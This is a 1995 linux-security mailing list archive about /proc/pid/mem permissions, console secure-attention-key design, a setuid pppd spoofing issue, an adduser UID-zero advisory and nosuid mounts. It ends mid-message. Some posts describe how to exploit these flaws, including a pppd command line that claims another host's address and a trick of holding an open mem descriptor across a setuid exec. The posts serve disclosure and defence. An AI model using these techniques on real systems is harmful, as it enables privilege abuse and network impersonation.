ls -al /proc/ $ dd if=/proc//mem of=/dev/null ... The first "ls" will read the inode information in memory when the process is still dumpable, the second will use the cached inode information and files will have the same permissions. This has been fixed in recent 1.3.x kernels (1.3.30 appears to be safe). The permissions now change immediately if the process becomes undumpable. There is still another problem which needs fixing. Open /proc//mem while the process is still dumpable, hold the file descriptor, and then have the process exec some setuid program. The process is now undumpable and you can't open /proc//mem now, but you can read the previously opened file descriptor. Fortunately, write is not supported yet... Marek From [email protected] Wed Oct 11 14:06:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA07106; Wed, 11 Oct 1995 13:25:14 -0400 Received: from calum.csclub.uwaterloo.ca ([email protected] [129.97.134.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA06525; Wed, 11 Oct 1995 11:03:15 -0400 Received: (from zblaxell@localhost) by calum.csclub.uwaterloo.ca (8.6.10/8.6.9) id LAA03411; Wed, 11 Oct 1995 11:02:42 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: console security (was Re: problem wi To: [email protected] (Theodore Ts'o) Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Theodore Ts'o" at Sep 28, 95 01:58:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 7692 Sender: [email protected] Precedence: list Quoted from Theodore Ts'o: > That being said, if you look at the comments in the kernel sources > regarding the SAK, you will see that I am very well aware of its > shortcomings. A really correct implementation would require the help of > specialized code in /etc/init, to do things like restore the default > font, keymappings, etc. It turns out, though that you still can't do a > perfect job, due to the brain damaged way that video modes that handled > by the Linux system. That is to say, user programs are responsible for > saving and restoring the contents of the video registers, *not* the > kernel. Hence, it's basically impossible for the kernel for the kernel > to reset the video mode to anything sane when the SAK is pressed. > > The right way to do things is that the kernel should be responsible for > setting and resetting the video modes, and all the programs that > currently muck with such things (X11, dosemu, svgalib, etc.) would rely > on kernel calls to do their work. This has the further advantage that > programs that rely on svgalib no longer need to be setuid root, and that > buggy X servers, dosemu, and svgalib programs can no longer render the > console to be useless, requiring a reboot to fix things. Oh, I don't know about this. The 'resize' code that's distributed with kbd is capable of recovering from all sorts of nonsense that Dosemu and XFree86 do to my consoles (I even have a dedicated perl script on tty2 just to kick the console back into text mode--it does lose the contents of every console, but it at least makes the console usable). Ditto for fonts and palette registers. You can come to a reasonable approximation of reloading the keyboard maps using loadkeys. A quick shell script that does that, reasserts 'text' mode on the keyboard, and exec's getty can do the job to cleaning up the mess after SAK without modifiying init or getty. A neat side-benefit of having SAK blow away XFree86 with extreme prejudice is that when you exit X window sessions you don't spend minutes swapping in megabytes of X server data just to erase windows from the screen. It's more secure, faster, and more reliable than letting XFree try to restore what it thought was the VGA settings before it was invoked. On most hardware putting more functionality in the kernel would be the most elegant thing to do; however, with an Intel-based platform with N+1 video cards available, the kernel will only ever have as many as N video drivers... > The main reason why no one has done any of these work? Probably because > in 99.7% of the Linux boxes out there, console security is basically > pointless. If you have access to the Linux console, you probably also > have access to the computer --- specifically, you can probably insert > your own boot floppy, and reboot the machine by hitting the magic "big > red button", or simply by power cycling the machine. > > It's possible to close off some of these holes, if you have a BIOS that > allows passwords (although someone has already posted the routine that > will allow you to retrieve the password from the CMOS for AMI BIOS's), > AND you can disable booting from the floppy, AND you don't allow any > other OS, like DOS, to be booted from LILO, AND you configure LILO so > that the user can't specify arguments to the boot command, AND the CPU > box is locked up so someone can't open up the case, and blast the > contents of the CMOS. > > However, most of the time people just don't care about console security. > If you're running Linux as timesharing machine (or a dialup server, or a > PPP server, or whatever), it wants to be locked up somewhere where you > can provide good physical security for the machine. If you're running > it as a single-user workstation, then console security isn't important. Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to be deployed at a well-known university I used to be affiliated with are multi-user workstations (that is, they service many users, but usually only one or two at a time). The machines meet all of the criteria above (the metal spike through the case prevents theft as well as making it hard to open ;-). The major issues that have blocked the widespread deployment of Linux in the past (performance, reliability, and support) are disappearing rapidly as Linux matures, and the problems that are left are training and security issues. In an environment where the seats in front of the terminals rarely get cold, console security is not to be ignored. > There are some rare cases where console security is actually important > in real life. However, these are the execption, not the rule. That's > why I never bothered taking the SAK code any further than where I had > left it. If someone wants to take it further, be my guest! However, be I would like to, but my implementation of a more secure console got rejected (something about requiring root privilege to do anything that wasn't in VT220 protocol... ;-). I agree that requiring superuser access to remap _any_ key on the keyboard is a bit restrictive; nonetheless, I'm desparate for any way to prevent a user from being able to map _every_ key on the keyboard, and requiring superuser access to do it is close enough for this 0.3% of people. ;-) It would be nice if there was even the _option_ of extra security in the standard kernel. Perhaps all of the "evil" ioctl calls could be moved to some device file (where an ioctl is "evil" if it can interact with, prevent the interaction with, or change the user interface to more than the one console upon which it is invoked). This would allow administrators to set their own permissions--666 for the current behavior, and 600 for the paranoid. I was very impressed with the way my concerns with the screen-dump ioctls were addressed. /dev/vcs* is a _really_ nice interface compared to the old ioctl(); it enhanced security, added configurability, and I got to throw away yet another Linux-specific utility program ('screendump' obsoleted by 'cat'). > warned that the number of people who will find it useful will be > relatively small, and it's not going to be easy. Many people will > therefore probably find it not worth doing (unless of course they need I get paid to increase security wherever it doesn't get in the way of real work...(lousy job, someone's gotta do it ;-). I find it worth doing, and do it every time a new kernel comes out. :( > it themselves for their own application --- in which case they should be > warned that they had better think about other ways that someone with > access to the console can break into their system). We don't use NFS, network services without cryptographic authentication, setuid programs, or mount /proc or removable media in our most secure servers. Console security really is a bit of a weak point right now--the one thing I can't do is prevent people from creating their own binaries (kinda sucks when you are in the business of developing software), so I can't prevent users from generating VT ioctl calls. With the number of transient employees increasing, and the extreme value (at least on paper) of some of our data, we can't afford to have people leaving trojans running on popular workstations when they leave for the day. Buying more machines so permanent employees can have their own terminals would be nice, but a quick patch to the kernel is cheaper than half a dozen Pentium boxes. Incidentally, SAK is broken in 1.3.30 for the console :(. Gets a NULL pointer dereference and kills the keyboard interrupt handler, but otherwise keeps running. If anyone needs more info I'll do it again and get the addresses. linux-security/1995/linux-security.951012100664 1767 1767 12616 6037264742 17263 0ustar majdommajdomFrom [email protected] Thu Oct 12 14:30:39 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA11910; Thu, 12 Oct 1995 14:01:45 -0400 Received: from parker.EECS.Berkeley.EDU ([email protected] [128.32.138.20]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA08412; Wed, 11 Oct 1995 19:14:54 -0400 Received: (from nickkral@localhost) by parker.EECS.Berkeley.EDU (8.6.10/8.6.9) id QAA17624; Wed, 11 Oct 1995 16:14:44 -0700 Date: Wed, 11 Oct 1995 16:14:44 -0700 (PDT) From: Nick Kralevich To: [email protected] Subject: PPP security hole? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Summary: The current pppd, as installed by slackware and other distributions, could allow a user to become another computer on the network. By default, slackware installs pppd as setuid root. caa32:~> ls -la /usr/lib/ppp/pppd -rws--x--x 1 root bin 66564 Feb 16 1995 /usr/lib/ppp/pppd* The command line /usr/lib/ppp/pppd passive crtscts modem proxyarp :128.32.111.22 asyncmap 0 allows the user to open a PPP connection as the address specified. The solution seems to be to disable PPP support in the kernel, remove the setuid flag from the pppd executable, or modify/create default pppd configuration files which will prevent this type of thing. Any Linux machine that can be logged into my multiple users is potentially vulnerable to this installation problem. Take care, -- Nick Kralevich [email protected] From [email protected] Thu Oct 12 14:30:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA11914; Thu, 12 Oct 1995 14:01:49 -0400 Received: from hubert.wustl.edu ([email protected] [128.252.103.193]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA09436; Wed, 11 Oct 1995 23:26:31 -0400 Received: from localhost (ats@localhost) by hubert.wustl.edu (8.6.12/8.6.12) with SMTP id WAA28922; Wed, 11 Oct 1995 22:26:16 -0500 Message-Id: <[email protected]> To: Zygo Blaxell cc: [email protected] (Theodore Ts'o), [email protected], [email protected], [email protected], [email protected] Subject: Re: console security (was Re: problem wi In-reply-to: Your message of "Wed, 11 Oct 1995 11:02:41 EDT." <[email protected]> Date: Wed, 11 Oct 1995 22:26:12 -0500 From: Alan Shutko Sender: [email protected] Precedence: list >>>>> "Zygo" == Zygo Blaxell writes: Zygo> A neat side-benefit of having SAK blow away XFree86 with extreme Zygo> prejudice is that when you exit X window sessions you don't Quick question: I have set up SAK after hearing this discussion. However, it doesn't work on X or SVGA apps like executor-svga. Any ideas? Zygo> On most hardware putting more functionality in the kernel would Zygo> be the most elegant thing to do; however, with an Intel-based Zygo> platform with N+1 video cards available, the kernel will only Zygo> ever have as many as N video drivers... That's a clear case for defining a solid video card interface for the kernel and writing lots of kernel modules for specific cards. SVGAlib and XFree86 both have to do lots of work to support lots of cards; by making them kernel modules we could drastically reduce it. Do the work once rather than twice. ------------------------------------------------------------------------ Alan Shutko - The Few, the Proud, the Remaining. DM Advice: If they split up, giggle insanely. From [email protected] Thu Oct 12 15:17:49 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA12190; Thu, 12 Oct 1995 15:14:48 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA11917; Thu, 12 Oct 1995 14:02:19 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0t3Rwn-0005AvC; Thu, 12 Oct 95 19:01 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0t3SjW-00005GC; Thu, 12 Oct 95 19:51 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: PPP security hole? To: [email protected] Date: Thu, 12 Oct 1995 19:51:58 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 637 Sender: [email protected] Precedence: list Nick Kralevich wrote: > The solution seems to be to disable PPP support in the kernel, remove the > setuid flag from the pppd executable, or modify/create default pppd > configuration files which will prevent this type of thing. An even better solution may be to write a small setuid wrapper program for each host that you wish users to be able to dial up that executes pppd with the appropriate set of options. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.951014100664 1767 1767 42206 6037746127 17265 0ustar majdommajdomFrom [email protected] Sat Oct 14 10:42:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA21171; Sat, 14 Oct 1995 10:18:59 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA18242; Fri, 13 Oct 1995 14:52:45 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA29773; Fri, 13 Oct 95 14:51:56 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA25617; Fri, 13 Oct 1995 14:52:23 -0400 Date: Fri, 13 Oct 1995 14:52:23 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Zygo Blaxell Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: Zygo Blaxell's message of Wed, 11 Oct 1995 11:02:41 -0400 (EDT), <[email protected]> Subject: Re: console security (was Re: problem wi Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 2944 Sender: [email protected] Precedence: list From: Zygo Blaxell Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) Oh, I don't know about this. The 'resize' code that's distributed with kbd is capable of recovering from all sorts of nonsense that Dosemu and XFree86 do to my consoles Yes, but if you've just hit the SAK, you may be in a situation where the console is a mess, and you don't have a shell on that tty (since the SAK so kindly blew it away from you), so running the 'resize' program, assuming that you have it, may not be at all easy..... On most hardware putting more functionality in the kernel would be the most elegant thing to do; however, with an Intel-based platform with N+1 video cards available, the kernel will only ever have as many as N video drivers... Well, the video drivers have to exist for SVGAlib and XF86 to use them, anyway. I'm just suggesting that instead of needing to implement them twice, once for SVGAlib and once for XF86, that we move that code into the kernel, where it belongs. Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to be deployed at a well-known university I used to be affiliated with are multi-user workstations (that is, they service many users, but usually only one or two at a time). Multiuser machines where the console is publically available? I consider that unusual..... and generally a bad idea, since trying to keep a large number of machines like that secure is a real headache. It's generally much easier to have a few, large timesharing machines which are carefully administered, and then have a large number of small, single user machines which are publically accessinble in public clusters. It sounds like your university is using a very different model than this though. It would be nice if there was even the _option_ of extra security in the standard kernel. Perhaps all of the "evil" ioctl calls could be moved to some device file (where an ioctl is "evil" if it can interact with, prevent the interaction with, or change the user interface to more than the one console upon which it is invoked). This would allow administrators to set their own permissions--666 for the current behavior, and 600 for the paranoid. Do you really expect more than one user to be simultaneously using a console at a time? I would think it's much more likely that one user will be using multiple consoles, and so what you want to do is that when the user logs out, there is a cleanup process that remaps all of the keys and resets all of the console configuration to a known standard. This way, a user at your university can remap the keys to a dvorak configuration if he/she wishes, but when the user logs out and leaves the workstation, the cleanup process resets things to a standard configuration so that the next user to walk up to the workstation can get a standard configuration. - Ted From [email protected] Sat Oct 14 10:42:04 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA21163; Sat, 14 Oct 1995 10:18:45 -0400 Received: from calum.csclub.uwaterloo.ca ([email protected] [129.97.134.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA20721; Sat, 14 Oct 1995 06:04:30 -0400 Received: (from zblaxell@localhost) by calum.csclub.uwaterloo.ca (8.6.10/8.6.9) id GAA11621; Sat, 14 Oct 1995 06:04:15 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: console security (was Re: problem wi To: [email protected] (Alan Shutko) Date: Sat, 14 Oct 1995 06:04:14 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Alan Shutko" at Oct 11, 95 10:26:12 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1369 Sender: [email protected] Precedence: list Quoted from Alan Shutko: > > >>>>> "Zygo" == Zygo Blaxell writes: > > Zygo> A neat side-benefit of having SAK blow away XFree86 with extreme > Zygo> prejudice is that when you exit X window sessions you don't > > Quick question: I have set up SAK after hearing this discussion. > However, it doesn't work on X or SVGA apps like executor-svga. Any > ideas? There's a kernel patch posted to some linux-*@vger list a while ago that does the SAK handling at a lower level than all the other keysyms. If you can't find it in the standard mailing list archives, I might be able to still find it in mine...it's been a while since I needed the patches, having changed jobs and security policies since then. > Zygo> On most hardware putting more functionality in the kernel would > Zygo> be the most elegant thing to do; however, with an Intel-based > Zygo> platform with N+1 video cards available, the kernel will only > Zygo> ever have as many as N video drivers... > > That's a clear case for defining a solid video card interface for the > kernel and writing lots of kernel modules for specific cards. SVGAlib > and XFree86 both have to do lots of work to support lots of cards; by > making them kernel modules we could drastically reduce it. Do the > work once rather than twice. Sigh...perhaps it's time for drivers/vga... From [email protected] Sat Oct 14 10:42:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA21159; Sat, 14 Oct 1995 10:18:36 -0400 Received: from calum.csclub.uwaterloo.ca ([email protected] [129.97.134.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA20787; Sat, 14 Oct 1995 06:39:54 -0400 Received: (from zblaxell@localhost) by calum.csclub.uwaterloo.ca (8.6.10/8.6.9) id GAA16169; Sat, 14 Oct 1995 06:39:46 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: console security (was Re: problem wi To: [email protected] (Theodore Ts'o) Date: Sat, 14 Oct 1995 06:39:45 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Theodore Ts'o" at Oct 13, 95 02:52:23 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 5510 Sender: [email protected] Precedence: list Quoted from Theodore Ts'o: > > From: Zygo Blaxell > Date: Wed, 11 Oct 1995 11:02:41 -0400 (EDT) > > Oh, I don't know about this. The 'resize' code that's distributed with > kbd is capable of recovering from all sorts of nonsense that Dosemu > and XFree86 do to my consoles > > > Yes, but if you've just hit the SAK, you may be in a situation where the > console is a mess, and you don't have a shell on that tty (since the SAK > so kindly blew it away from you), so running the 'resize' program, > assuming that you have it, may not be at all easy..... No problem. The resize is executed automatically by init before getty. It does have the side-effect of creating an annoying white flash every time someone logs out of text consoles... > On most hardware putting more functionality in the kernel would be the > most elegant thing to do; however, with an Intel-based platform with > N+1 video cards available, the kernel will only ever have as many as N > video drivers... > > Well, the video drivers have to exist for SVGAlib and XF86 to use them, > anyway. I'm just suggesting that instead of needing to implement them > twice, once for SVGAlib and once for XF86, that we move that code into > the kernel, where it belongs. > > Hmmm...close to 99.7% (gratuitous statistic) of the Linux boxes planned to > be deployed at a well-known university I used to be affiliated with are > multi-user workstations (that is, they service many users, but usually > only one or two at a time). > > Multiuser machines where the console is publically available? I > consider that unusual..... and generally a bad idea, since trying to > keep a large number of machines like that secure is a real headache. > It's generally much easier to have a few, large timesharing machines > which are carefully administered, and then have a large number of small, > single user machines which are publically accessinble in public > clusters. It sounds like your university is using a very different > model than this though. Waterloo has had the headaches. They loaded up on Tylenol and fixed the real problems. Assuming you installed sniffer hardware, you need to break DES to do almost anything interesting to the machine itself; compromising user accounts is easier when they are using unencrypted network services but any such attack only affects the machine or the attached network for the period of time that the sniffer is installed. I don't know if Linux supports DES encrypted NFS, but I'm sure that Linux isn't the first architecture not to support it, and they have the appropriate software hanging around. Everything else already works. There are large timesharing machines too; the workstations are primarily used as X terminals, but CS graphics weenies don't like people sharing their CPU and like network delays to their X terminal even less, so some of the X terminals are in fact full-fledged Unix machines. You can even distribute large compiles over 10 of them at a time. They are regarded as "less available" more than "less secure"...because their power switches aren't (yet?) encased in epoxy like they oughta be, people keep turning them off when they appear to hang. Most of the security threat to these machines (aside from just plain being broken or stolen) comes from snooping and spoofing attacks on fellow students. I've seen the occasional login prompt with just the wrong font size more than once as a student there. Fortunately, all of the terminals (with the exception of some Linux boxes) have some obscure way to restart the session, ranging from line break (on serial terminals) to combinations of keys depending on the flavor of X server (Ctrl+Alt+CapsLock+Setup, Ctrl+Alt+Backspace, L1+A...). I figure Linux should be at least as secure as one of these without turning it off and on first; currently, it is not. > It would be nice if there was even the _option_ of extra security in the > standard kernel. Perhaps all of the "evil" ioctl calls could be moved > to some device file (where an ioctl is "evil" if it can interact with, > prevent the interaction with, or change the user interface to more than > the one console upon which it is invoked). This would allow > administrators to set their own permissions--666 for the current > behavior, and 600 for the paranoid. > > Do you really expect more than one user to be simultaneously using a > console at a time? I would think it's much more likely that one user > will be using multiple consoles, and so what you want to do is that when > the user logs out, there is a cleanup process that remaps all of the > keys and resets all of the console configuration to a known standard. > > This way, a user at your university can remap the keys to a dvorak > configuration if he/she wishes, but when the user logs out and leaves > the workstation, the cleanup process resets things to a standard > configuration so that the next user to walk up to the workstation can > get a standard configuration. I'm not trying to help users clean up their own mess; I'm trying to help users clean up the mess that the previous user left for them, in as efficient and thorough a manner as possible. To do this you need at least a way to signal that a session is to end, and you need to remove any way to prevent this signal from reaching its target (or, in the case of the VT_ACTIVATE call, causing the target to change. Grrr.). From [email protected] Sat Oct 14 10:42:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA21184; Sat, 14 Oct 1995 10:19:17 -0400 Received: from as.ucsb.edu (as.ucsb.edu [128.111.254.143]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id WAA15503; Thu, 12 Oct 1995 22:17:42 -0400 Received: by as.ucsb.edu id m0t3Zgl-000XDNC; (Linux Smail #29) for ; Thu, 12 Oct 95 19:17 PDT Message-Id: Date: Thu, 12 Oct 95 19:17 PDT From: [email protected] (Marc A. Tamsky) To: [email protected] CC: [email protected] In-reply-to: (message from Nick Kralevich on Wed, 11 Oct 1995 16:14:44 -0700 (PDT)) Subject: Re: PPP security hole? X-pgp-keyprint: 1024/E665B9ED: B6C3BD8A7A790355 CC24F4012BBD903A X-pgp-key-finger: [email protected] Reply-to: "Marc A. Tamsky" Sender: [email protected] Precedence: list While we're all sharing our favorite ways to do this... The way I disable this, but keep it a usable service is: # chmod o-x /usr/lib/ppp/pppd If you're really paranoid, and only want root to use it: # chmod go-rwx /usr/lib/ppp/pppd As a service, I've created a ppp group, and made the pppd binary group-executable. PPP login accounts have their group=ppp, and login shell set to a shell script which dynamically assigns IP based on incoming tty. This, by no random chance, happens to be compatable with the sliplogin way of doing tty->ip mapping. --- /usr/local/bin/ppplogin: #!/bin/bash IFS=' ' TTY=`/usr/bin/tty` LINE=`/usr/bin/grep $TTY /etc/slip.tty` IP=`/bin/echo $LINE | /bin/cut -d\ -f2` /usr/bin/mesg n exec /usr/lib/ppp/pppd xxx.xxx.xxx.xxx:$IP -- | Marc Tamsky [email protected] Linux is good. >>>>> On Wed, 11 Oct 1995 16:14:44 -0700 (PDT), Nick Kralevich said: } Summary: The current pppd, as installed by slackware and other } distributions, could allow a user to become another computer on the network. } By default, slackware installs pppd as setuid root. } -rws--x--x 1 root bin 66564 Feb 16 1995 /usr/lib/ppp/pppd* [snip] } allows the user to open a PPP connection as the address specified. The } solution seems to be to disable PPP support in the kernel, remove the } setuid flag from the pppd executable, or modify/create default pppd } configuration files which will prevent this type of thing. From [email protected] Sat Oct 14 10:42:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA21177; Sat, 14 Oct 1995 10:19:11 -0400 Received: from tristan.dale.co.uk ([email protected] [193.128.226.152]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA19678; Sat, 14 Oct 1995 00:29:33 -0400 Received: (from pc@localhost) by tristan.dale.co.uk (8.6.10/8.6.9) id UAA19011; Fri, 13 Oct 1995 20:57:02 +0100 From: Pete Chown Message-Id: <[email protected]> Subject: Re: PPP security hole? To: [email protected] (Nick Kralevich) Date: Fri, 13 Oct 1995 20:57:01 +0100 (BST) Cc: [email protected] In-Reply-To: from "Nick Kralevich" at Oct 11, 95 04:14:44 pm MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 491 Sender: [email protected] Precedence: list Nick Kralevich writes: >Summary: The current pppd, as installed by slackware and other >distributions, could allow a user to become another computer on the network. Wow, so if I run pppd I might turn into a computer? That sounds like the worst security hole I've ever come across... :-) ------------------------------------------------------------------------- [email protected] "The Pen is mightier than the Quill" -- anonymous linux-security/1995/linux-security.951018100664 1767 1767 12366 6041250251 17254 0ustar majdommajdomFrom [email protected] Wed Oct 18 15:08:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA05042; Wed, 18 Oct 1995 14:13:26 -0400 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA02329; Tue, 17 Oct 1995 20:33:08 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id UAA06778; Tue, 17 Oct 1995 20:34:08 -0400 Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT) From: alex To: Linux Security Mailing List , [email protected] Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [NB: I didn't write the adduser replacement; I just modified it. --okir] -----BEGIN PGP SIGNED MESSAGE----- adduser-1.0 Security Vulnerability LINUX SECURITY FAQ UPDATE October 17, 1995 15:30:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of the signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security/ linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive/ ============================================================================= VULNERABILITY ************* The adduser 1.0 script used on a lot of systems to add a new user account has a potential vulnerability that in some cases can allow an owner of the created account to gain unauthorized root access. The original version of this script had a mistake in the algorithm used to generate a new UID, which on systems that had accounts with UID close to 65535 (i.e. accounts 'nobody' with UID -2 or -1) caused the newly generated account to receive UID 0. AFFECTED DISTRIBUTIONS: *********************** RED HAT ======= Red Hat 2.0 uses a vulnerable version of the adduser script. Fortunately, Red Hat 2.0 systems by default do not have any accounts with UID higher than 1000. Nevertheless, an updated package is available from the following places: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/adduser-1.1-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm ftp://linux.nrao.edu/pub/people/alex/DISTRIBUTION-FIXES/RedHat2.0/adduser-1.1-1.i386.rpm Please verify the MD5 message digest of the upgrade before installing. It has to be : MD5 (adduser-1.1-1.i386.rpm) = 543fab52c0cf6ae4751858d08cf958bd The upgrade can be performed using command rpm -USvh adduser-1.1-1.i386.rpm CALDERA DESKTOP =============== Unfortunately at this time we are not able to provide adequate information about vulnerability of the Caldera Desktop, though due to the fact that Caldera Desktop is based up RedHat 2.0, we recommend installing the updated adduser script. SLACKWARE ========= By default Slackware does not use the vulnerable adduser script, although we do recommend that you check. If it does, replace your adduser script with the one located on: ftp://bach.cis.temple.edu/pub/Linux/Security/adduser-1.1-ok.gz ftp://linux.nrao.edu/pub/people/alex/adduser-1.1-ok.gz Please verify the MD5 message digest of the adduser-1.1-ok.gz before installing it. It has to be: MD5 (adduser-1.1-ok.gz) = ceadb362f6761c59fc8e37e5ef7dcd29 OTHER DISTRIBUTIONS: Please follow the instructions under Slackware section. THE REPLACEMENT SCRIPT ********************** The replacement script was written by Olaf Kirch some time ago (probably when we discussed the possibility of roll-over in the linux-security mailing list). This script also uses a bit different algorithm of user ID allocation (first unused userid after uid of 500). CREDITS ******* The following people helped in preparing this update and fix: Marc R. Ewing Olaf Kirch Jennifer Burke -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMIRHPIxFUz2t8+6VAQHCfwP+NK3JiT93q0x7gyJnh37KlUqvRA66ssj2 YCamjV87yNqB5419ctWOe9nPwUMelYuFXnR7cw+a7HMhmFM7nXnOhB3TN5Rari+U MCKkhxnIpwrPh/c6MPsX3mVXW9XW/7sDeCOTdXqUJC9dveY0OHxdd6T639u5UcAA Y9HK6NmGUt4= =tzew -----END PGP SIGNATURE----- linux-security/1995/linux-security.951021100664 1767 1767 6442 6042267263 17240 0ustar majdommajdomFrom [email protected] Sat Oct 21 13:15:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA05882; Sat, 21 Oct 1995 12:34:43 -0400 Received: from postoffice3.mail.cornell.edu (POSTOFFICE3.MAIL.CORNELL.EDU [132.236.56.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA02529; Fri, 20 Oct 1995 17:42:05 -0400 Received: from J300141582.RESNET.CORNELL.EDU (J300141582.RESNET.CORNELL.EDU [128.253.247.60]) by postoffice3.mail.cornell.edu (8.6.12/8.6.12) with SMTP id RAA19782 for ; Fri, 20 Oct 1995 17:42:03 -0400 Date: Fri, 20 Oct 1995 17:42:03 -0400 Message-Id: <[email protected]> X-Sender: [email protected] (Unverified) X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: [email protected] (David Sacerdote) Subject: mounting partitions nosuid under Slackware 3.0 Sender: [email protected] Precedence: list I just did an install of Slackware 3.0, and decided to mount my slackware 2.1 cdrom nosuid. However, I promptly noticed that marking /cdrom nsuid in /etc/fstab appears to have no effect whatsoever. Has anybody else observed this? David Sacerdote From [email protected] Sat Oct 21 18:05:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA08148; Sat, 21 Oct 1995 17:59:43 -0400 Received: from tango.rahul.net (tango.rahul.net [192.160.13.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA06931; Sat, 21 Oct 1995 16:14:18 -0400 Received: from dandelion.com by tango.rahul.net with SMTP id AA09567 (5.67b8/IDA-1.5 for ); Sat, 21 Oct 1995 13:14:08 -0700 Received: (from lnz@localhost) by dandelion.com (8.7.1/8.7.1) id NAA25566; Sat, 21 Oct 1995 13:14:02 -0700 Date: Sat, 21 Oct 1995 13:14:02 -0700 From: "Leonard N. Zubkoff" Message-Id: <[email protected]> To: [email protected] Cc: [email protected] In-Reply-To: ([email protected]) Subject: Re: mounting partitions nosuid Sender: [email protected] Precedence: list From: [email protected] (Olaf Kirch) Date: Sat, 21 Oct 1995 20:43:09 +0100 (MET) Hi Leonard, 